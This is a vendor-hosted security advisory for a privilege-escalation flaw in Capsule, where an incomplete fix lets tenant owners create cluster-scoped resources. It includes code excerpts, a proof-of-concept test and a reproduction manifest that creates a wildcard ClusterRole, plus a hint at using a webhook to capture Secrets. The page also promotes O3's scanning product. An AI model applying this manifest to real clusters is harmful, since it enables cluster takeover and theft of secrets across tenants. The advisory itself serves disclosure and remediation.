GHSA-jr6p-8pjj-mfx6
MEDIUMGHSA-jr6p-8pjj-mfx6 is a medium-severity (CVSS 6.6) Improper Privilege Management vulnerability in github.com/projectcapsule/capsule. O3 Security confirms whether GHSA-jr6p-8pjj-mfx6 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Capsule has an incomplete fix of CVE-2026-22872: TenantResource RawItems and Generators still allow cluster-scoped resource creation (cross-tenant privilege escalation)
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-jr6p-8pjj-mfx6.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-jr6p-8pjj-mfx6 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 372,613 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/projectcapsule/capsuleReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
CVE-2026-22872 (GHSA-qjjm-7j9w-pw72) reported that a Tenant Owner could create cluster-scoped resources
(e.g. ClusterRole, ValidatingWebhookConfiguration) through a TenantResource, because the controller
applies them with its cluster-admin ServiceAccount and SetNamespace is ineffective for cluster-scoped
kinds. The v0.13.0 fix added a cluster-scope rejection guard, but only on the NamespacedItems selection
path (ResourceReference.LoadResources -> IsNamespacedGVK, error "cluster-scoped kind ... is not allowed"). The RawItems create path — the exact vector the original advisory named — and the Generators
path were not given this guard. The vulnerability therefore persists in all releases v0.13.0 through
v0.13.7 and on trunk HEAD (8d89d6865d).
Details
TenantResource reconcile flow:
internal/controllers/resources/namespaced.goreconcile()obtains the apply client vialoadClient(); by default (impersonation off, noSpec.ServiceAccount) this is the manager client whose SA is bound to cluster-admin (charts/capsule/templates/rbac.yaml:488-501,{fullname}-manager-rolebinding-> roleRef cluster-admin).Collector.Collect()(collect.go) processesspec.RawItemsviahandleRawItemandspec.GeneratorsviahandleGeneratorItem.
handleRawItem (collect.go:406-425, trunk HEAD — byte-identical to v0.13.0):
tmplString := tpl.FastTemplate(string(item.Raw), opts.Iterator.FastContext)
obj := &unstructured.Unstructured{}
unstructured.UnstructuredJSONScheme.Decode([]byte(tmplString), nil, obj)
if ns != nil { obj.SetNamespace(ns.Name) } // ONLY mitigation
return obj, nil // NO IsNamespacedGVK / allowClusterScoped guard
handleGeneratorItem (collect.go:382-404) is the same: it only SetNamespaces on rendered objects.
The accumulated objects flow to pkg/api/processor/processor_func.go Reconcile() -> Apply() ->
clt.PatchApply(ctx, c, obj, ...) (line 167/378) with no scope check at any point.
By contrast, CollectNamespacedItems (collect.go:308) calls item.LoadResources(..., allowClusterScoped=false),
and pkg/template/reference.go:105-107 enforces:
if !allowClusterScoped && !isNamespaced {
return nil, fmt.Errorf("cluster-scoped kind %s/%s is not allowed", ...)
}
So the guard the fix added is real, but it sits on a different (selection) path than the one the CVE
described (RawItems create path). For cluster-scoped kinds, SetNamespace is ignored by the Kubernetes API
server, so the object is created cluster-wide by the cluster-admin client.
Parent-fix diff confirmation: in v0.12.4 the RawItems handler in processor.go was the vulnerable code
(obj.SetNamespace(ns.Name) then createOrUpdate via r.client). v0.13.0 refactored this into
collect.go handleRawItem but left it without the new guard.
Proof of Concept
A self-contained in-process Go test (incompletefix_poc_test.go), run against trunk HEAD with go1.26.4,
proves the asymmetry:
TestRawItemPath_NoClusterScopeGuard: feeds aClusterRolerawItem tohandleRawItem-> object returned unchanged, no rejection (PASS).TestNamespacedItemsPath_HasClusterScopeGuard: feeds the sameClusterRolekind toLoadResources(allowClusterScoped=false)-> rejected with"cluster-scoped kind rbac.authorization.k8s.io/v1/ClusterRole is not allowed"(PASS).
VULNERABLE: RawItems path accepted cluster-scoped rbac.authorization.k8s.io/v1/ClusterRole;
metadata.namespace="tenant-ns" (ignored by API server for cluster-scoped kinds)
GUARDED: NamespacedItems path correctly rejected cluster-scoped kind:
cluster-scoped kind rbac.authorization.k8s.io/v1/ClusterRole is not allowed
End-to-end (cluster) reproduction:
- Deploy capsule (default Helm) with
rbac.resources.create=true(the opt-in that exposes TenantResources to tenant owners; the configuration the original CVE applies to). - As a Tenant Owner, create in a tenant namespace:
apiVersion: capsule.clastix.io/v1beta2 kind: TenantResource metadata: {name: pwn, namespace: <tenant-ns>} spec: resources: - namespaceSelector: {matchLabels: {capsule.clastix.io/tenant: <tenant>}} rawItems: - apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: {name: tenant-escalation} rules: [{apiGroups: ["*"], resources: ["*"], verbs: ["*"]}] - Observe the cluster-scoped ClusterRole
tenant-escalationis created by the cluster-admin controller, despite the tenant owner lacking cluster RBAC to create it. Swap inValidatingWebhookConfigurationto intercept/exfiltrate cluster-wide Secrets.
Impact
A Tenant Owner (namespace-scoped) escalates to cluster-admin-equivalent privileges and can compromise all tenants and the cluster control plane. Identical impact to CVE-2026-22872; the v0.13.0 remediation does not close the RawItems/Generators vector.
Remediation
Apply the same IsNamespacedGVK / allowClusterScoped rejection inside handleRawItem and
handleGeneratorItem — or centrally in Collector.AddToAccumulation / processor.Apply — so the create
path enforces the same cluster-scope policy as the selection path. (GlobalTenantResource shares the path
but is not a privesc — cluster-admin-only to create.)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/projectcapsule/capsule | ≥ 0.13.0&&< 0.13.8 | 0.13.8 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/projectcapsule/capsule. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/projectcapsule/capsule to 0.13.8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-jr6p-8pjj-mfx6 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-jr6p-8pjj-mfx6 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-jr6p-8pjj-mfx6. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-jr6p-8pjj-mfx6 in your dependencies?
O3 detects GHSA-jr6p-8pjj-mfx6 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.